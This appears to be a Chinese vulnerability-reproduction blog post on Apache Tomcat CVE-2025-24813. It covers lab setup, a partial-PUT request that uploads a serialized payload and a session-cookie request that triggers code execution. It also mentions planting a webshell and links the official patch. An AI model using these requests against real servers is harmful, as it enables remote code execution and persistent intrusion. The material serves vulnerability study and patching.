漏洞影响范围
9.0.0.M1 <= tomcat <= 9.0.98
10.1.0-M1 <= tomcat <= 10.1.34
11.0.0-M1 <= tomcat <= 11.0.2
漏洞环境下载
//apache环境
https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98-windows-x64.zip
//反序列化库
https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
环境配置
1、apache环境需要借助java,安装java后,环境变量中添加系统变量
JAVA_HOME
C:Program FilesJavajdk-11
JRE_HOME
C:Program FilesJavajre1.8.0_241
2.修改context.xml、web.xml文件
来到根目录下,进入conf,先修改context.xml文件,在Context标签内新增配置:
(这微信页面直接复制代码格式会乱,可以浏览器打开复制)
<ManagerclassName="org.apache.catalina.session.PersistentManager">
<StoreclassName="org.apache.catalina.session.FileStore"/>
</Manager>
再修改web.xml文件,添加内容如下:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
将Commons Collections 3.2.1.jar放入webapps/ROOT/WEB-INF/lib文件夹(没有lib目录就创建)。
win环境遇到乱码可以修改conf目录下的logging.properties,将其java.util.logging.ConsoleHandler.encoding的值改为GBK
修改server.xml修改默认端口号
运行apache-tomcat-9.0.98bin的startup.bat文件,环境启动成功
漏洞复现
1.使用Yakit的【反连】功能,【Yso-Java Hack】快速生成一个利用payload:
2.POC1
请求出现409表示利用成功
Content-Length: 1000和Content-Range: bytes 0-1000要保持一致
PUT /xxxxx/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{base64dec(反序列化文件内容)}}
apache-tomcat-9.0.98workCatalinalocalhostROOT会生成临时文件,其中【xxxxx】是自定义名字,可以任意修改
3.利用POC2:
GET / HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=.xxxxx
请求上传的文件名,响应500,然后弹出计算器,复现成功(响应200的情况下,需要重新请求)
补充:写入目录apache-tomcat-9.0.98webappsROOT可以上传webshell,此操作仅供学习使用,建议中午操作,因为早晚要进去喝茶。
apache-tomcat-9.0.98webappsROOT
修复方案
Apache基金会官方已发布漏洞公告,可下载补丁更新:https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
原文始发于微信公众号(小翠网络安全实验室):【漏洞复现】Apache Tomcat 命令执行漏洞(CVE-2025-24813)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论